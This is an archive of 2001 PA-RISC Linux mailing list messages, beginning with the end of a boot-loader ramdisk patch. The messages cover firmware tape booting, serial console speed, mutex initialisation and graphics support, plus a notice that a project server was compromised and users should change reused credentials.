+++ ipl/ipl.c	2001/12/30 15:32:22
@@ -471,6 +471,7 @@
     {
 	int kern_fd;
 	int bkern_fd;
+	int rd_fd, brd_fd;
 	int part_fd;
 	int mount_fd;
 	struct diskpartition *pp;
@@ -502,6 +503,21 @@
 	if (!load_kernel(bkern_fd, &entry, &wide))
 	{
 	    die("ERROR: failed to load kernel\n");
+	}
+
+	if (rd_part != -1)
+	{
+	    rd_fd = ext2_open(rd_name);
+	    if(rd_fd >= 0) {
+		brd_fd = byteio_open(rd_fd);
+
+		if (!load_rd(brd_fd, ext2_filesize(rd_fd)))
+		{
+		    printf("ERROR: failed to load ramdisk - proceeding anyway\n");
+		}
+	    } else {
+		printf("ERROR: failed to open ramdisk %s\n", rd_name);
+	    }
 	}
     }
 

--==_Exmh_-12732282180--





From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tape boot errors and NFS-Root-Howto?
Date: Sun, 30 Dec 2001 09:14:42 -0900 (AKST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112300907380.11391-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620901 32599 80.91.229.3 (22 Nov 2014 01:48:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:21 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 11:17:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66E87482A
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 11:17:48 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GP65HJ03.6CA for
          <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 09:17:43 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GP65HO00.E0I for <parisc-linux@parisc-linux.org>; Sun, 30 Dec
          2001 09:17:48 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA11450
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 09:14:42 -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13523

So I'm trying to update the firmware on my C180. Have no way to dump the
patch file to CD, but I've got a Debian box with a DAT on it, plus a spare
DAT drive. Install spare in C180, dd the .frm file onto the tape
(remembering to use 'bs=2k' like the doc says), it sees the tape and
refuses to boot, saying 'bad ipl checksum'. Clean tape drives, try a
different tape, try writing it with a different drive, all of which fail.

Decide to pull up the NFS-Root-Howto at Grant's suggestion, just boot the
patch file off the network. Unfortunately, p.e.h.c appears to be down :-(

Questions: Does anyone know if I'm doing the tape creation right? I did
'unshar PF_CC2X0061' (to get the .frm and .text files), then 'dd
if=CC2X0061.frm of=/dev/st1 bs=2k' (which writes 790 records without
error). The unshar says the .frm is compressed data - is this something
that needs further unpacking before writing, perhaps? Also, does anyone
have a local copy of the NFS-Root-Howto that they can point me to? The
only ones I can find are ~1999 and quite out of date...

Thanks!




From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Serial console settings?
Date: Sun, 30 Dec 2001 09:28:21 -0900 (AKST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112300925420.11391-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620901 32602 80.91.229.3 (22 Nov 2014 01:48:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:21 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 11:31:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DE8F482A
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 11:31:25 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GP664A02.0E0 for
          <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 09:31:22 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GP664F01.50I for <parisc-linux@parisc-linux.org>; Sun, 30 Dec
          2001 09:31:27 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA11466
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 09:28:21 -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13524

Maybe I'm missing somethign here... I set up a serial console on the C180,
which works great at 9600. Want to speed it up, so I changed the settings
to rs232_1.38400.n.8 (or whatever the exact syntax is - the PDC is happy
with it). Power-cycle, reset terminal to 38400 and nothing. Reset terminal
to 9600 and there's the screen... Doesn't seem to matter what I set the
console speed to in the PDC - it always runs at 9600. Is there some way I
have to "push" this, or otherwise save it?




From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with threads..
Date: Sun, 30 Dec 2001 10:42:22 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <20011230184222.GC2179@tausq.org>
References: <20011229012436.4586cb54.csuder@cisco.com> <20011230064447.GA2179@tausq.org> <20011229235830.4bfec5f9.csuder@cisco.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620901 32606 80.91.229.3 (22 Nov 2014 01:48:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 11:42:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32DB7482A
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 11:42:53 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id wmdbkaaa for parisc-linux@parisc-linux.org; Sun, 30 Dec 2001 11:36:57 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16Kkuc-000288-00; Sun, 30 Dec 2001 10:42:22 -0800
Content-Disposition: inline
In-Reply-To: <20011229235830.4bfec5f9.csuder@cisco.com>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13525

> > fwiw, what i've seen elsewhere is that on palinux, you have to make sure
> > the mutex is initialized before locking works. on other platforms
> > sometimes you can get away with doing a lock without a mutex init.
> 
> Yes !!! There was one of 4 mutex not initialized, added that one and now
> it works.

Just to clarify...

hppa is the only platform supported by linuxthreads right now where we 
initialize the mutex variable to 1 so that we can do locking using ldcw. On 
other platforms, locks are initialized to 0 and locking is done using things 
like test-and-set.

In general, you always need to call pthread_mutex_init for mutexes to
work. In the case of pan, the mutex variable is declared static, so it
is automatically initialized to 0.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Graphics support on 755?
Date: Sun, 30 Dec 2001 13:52:56 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20011230135256.B28207@daedalus.cs.brandeis.edu>
References: <20011229182132.A23862@daedalus.cs.brandeis.edu> <3C2F42C5.6040004@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620902 32611 80.91.229.3 (22 Nov 2014 01:48:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:22 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 11:52:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from daedalus.cs.brandeis.edu (daedalus.cs.brandeis.edu [129.64.3.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DC6D482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Dec 2001 11:52:57 -0700 (MST)
Original-Received: (from aaronm@localhost)
	by daedalus.cs.brandeis.edu (8.9.3/8.9.3) id NAA28219
	for parisc-linux@lists.parisc-linux.org; Sun, 30 Dec 2001 13:52:56 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3C2F42C5.6040004@interaccess.com>; from bheadley@interaccess.com on Sun, Dec 30, 2001 at 10:37:25AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13526

> Kernel source. ./arch/parisc/kernel/hardware.c
> 
> The kernel supports display adapters that are supported by the pdc BIOS. 
> I assume it's an HP card, which means HPUX supports it, which strongly 
> infers it's supported by pdc BIOS.
> 
> What I don't know is, if you get something like an nVidia card, stick it 
> into the EISA bus, that such will work...
> 
> -- 
> ____               .:.                 ____
> Bryan W. Headley - bheadley@interaccess.com
it's an HP card, not in the EISA slots, but in the big slots on the
backplane.  Is there anything like lspci, but for the HP slots?
Aaron

-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tape boot errors and NFS-Root-Howto?
Date: Sun, 30 Dec 2001 12:30:15 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <m16Klex-000OuPC@bame.riverrock.org>
References: <Pine.LNX.4.33.0112300907380.11391-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620902 32615 80.91.229.3 (22 Nov 2014 01:48:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:22 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 12:30:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1ADA2482A
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 12:30:19 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA19741;
	Sun, 30 Dec 2001 12:30:15 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m16Klex-000OuPC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 12:30:15 -0700 (MST) 
In-Reply-To: Your message of "Sun, 30 Dec 2001 09:14:42 -0900."
             <Pine.LNX.4.33.0112300907380.11391-100000@goliath.alaskatech.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13527

> Decide to pull up the NFS-Root-Howto at Grant's suggestion, just boot the
> patch file off the network. Unfortunately, p.e.h.c appears to be down :-(

p.e.h.c was replaced quite a while ago with parisc-linux.org,
cvs.parisc-linux.org, ftp.p.o, lists.p.o, bugs.p.o, etc...
Hopefully the NFS-Root-Howto is on parisc-linux.org now so you might
try wandering thorough there.  If the pointer is stale you might
try s/puffin.external.hp.com/parisc-linux.org

	-P



From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] puffin cracked, Action Required
Date: Sun, 30 Dec 2001 12:55:34 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <m16Km3S-000OuPC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620902 32617 80.91.229.3 (22 Nov 2014 01:48:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:22 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 12:55:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94C90482A
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 12:55:35 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA08850
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 12:55:34 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m16Km3S-000OuPC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 12:55:34 -0700 (MST) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13528

On Dec 18 puffin.external.hp.com was removed from service because
it had been compromised.  We knew this was possible (RH 5.2) which
is why we moved all services off of puffin.

Baddies definitely have the password file, so if you used the
same password on puffin as elsewhere you should probably change it,
and especially if 'crack' can guess it.

Baddies also trojaned ssh, so if you used ssh *from* pehc *to* another
machine, whatever credentials you used may have been stolen -- whether
that's the password to the remote machine or the pass phrase to your
secret key stored on pehc.  So if you ssh-ed *from* pehc you should
change the credentials you used.  Those of you whose ssh credentials
were recorded in the trojan's "jackpot" file have long since been
contacted and you've taken action -- you have haven't you?!

It would be a good idea to check for evidence of intrusion on
any machines where stolen credentials could be used.

If you need to recover some of your files from pehc please contact
me with the specifics, or taggart@fc.hp.com from Jan 4-18.

	-P



From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial console settings?
Date: Sun, 30 Dec 2001 14:45:46 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20011230214546.C2E0E37E86@carmen.fc.hp.com>
References: <Pine.LNX.4.33.0112300925420.11391-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620903 32620 80.91.229.3 (22 Nov 2014 01:48:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:23 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>,
	taggart@carmen.fc.hp.com
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 14:45:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C226482A
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 14:45:49 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 59445E00274; Sun, 30 Dec 2001 16:45:47 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id C2E0E37E86; Sun, 30 Dec 2001 14:45:46 -0700 (MST)
In-Reply-To: Your message of "Sun, 30 Dec 2001 09:28:21 -0900."
             <Pine.LNX.4.33.0112300925420.11391-100000@goliath.alaskatech.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13529

Tom writes...

> Maybe I'm missing somethign here... I set up a serial console on the C180,
> which works great at 9600. Want to speed it up, so I changed the settings
> to rs232_1.38400.n.8 (or whatever the exact syntax is - the PDC is happy
> with it). Power-cycle, reset terminal to 38400 and nothing. Reset terminal
> to 9600 and there's the screen... Doesn't seem to matter what I set the
> console speed to in the PDC - it always runs at 9600. Is there some way I
> have to "push" this, or otherwise save it?

Are you saying that the firmware doesn't display properly or the Linux
console?

If its the firmware my only advice is to try several different settings and
see if you can get anything other than 9600 to work. If you can then you
can try turning it up.

If you're referring to the Linux console, you'll need to edit the serial
terminal lines(they start with "T") in /etc/inittab and change the speed
there to match firmware.

HTH,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Graphics support on 755?
Date: Sun, 30 Dec 2001 16:51:35 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20011230165135.A28540@daedalus.cs.brandeis.edu>
References: <20011229182132.A23862@daedalus.cs.brandeis.edu> <3C2F42C5.6040004@interaccess.com> <20011230135256.B28207@daedalus.cs.brandeis.edu> <3C2F7CD8.9060102@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620903 32628 80.91.229.3 (22 Nov 2014 01:48:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:23 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 14:52:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from daedalus.cs.brandeis.edu (daedalus.cs.brandeis.edu [129.64.3.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9F4C482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Dec 2001 14:51:56 -0700 (MST)
Original-Received: (from aaronm@localhost)
	by daedalus.cs.brandeis.edu (8.9.3/8.9.3) id QAA28559
	for parisc-linux@lists.parisc-linux.org; Sun, 30 Dec 2001 16:51:35 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3C2F7CD8.9060102@interaccess.com>; from bheadley@interaccess.com on Sun, Dec 30, 2001 at 02:45:12PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13530

> I know of no standalone tools, but /var/log/messages lists all hardware 
> the kernel recognizes during bootup.
> 
> -- 
> ____               .:.                 ____
> Bryan W. Headley - bheadley@interaccess.com
still running HPUX, so no boot log.  I'm trying to figure if I need a
terminal to install Linux, or can use the graphics system.  ioscan
> didn't give any useful indformation either
Aaron

-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:21:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with threads..
Date: 30 Dec 2001 22:55:26 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <1009749327.28491.0.camel@cube>
References: <20011229012436.4586cb54.csuder@cisco.com>
	<20011230064447.GA2179@tausq.org>
	<20011229235830.4bfec5f9.csuder@cisco.com> 
	<20011230184222.GC2179@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620903 32637 80.91.229.3 (22 Nov 2014 01:48:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 14:55:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD9001D42.dip.t-dialin.net [217.0.29.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8848482A
	for <parisc-linux@parisc-linux.org>; Sun, 30 Dec 2001 14:55:24 -0700 (MST)
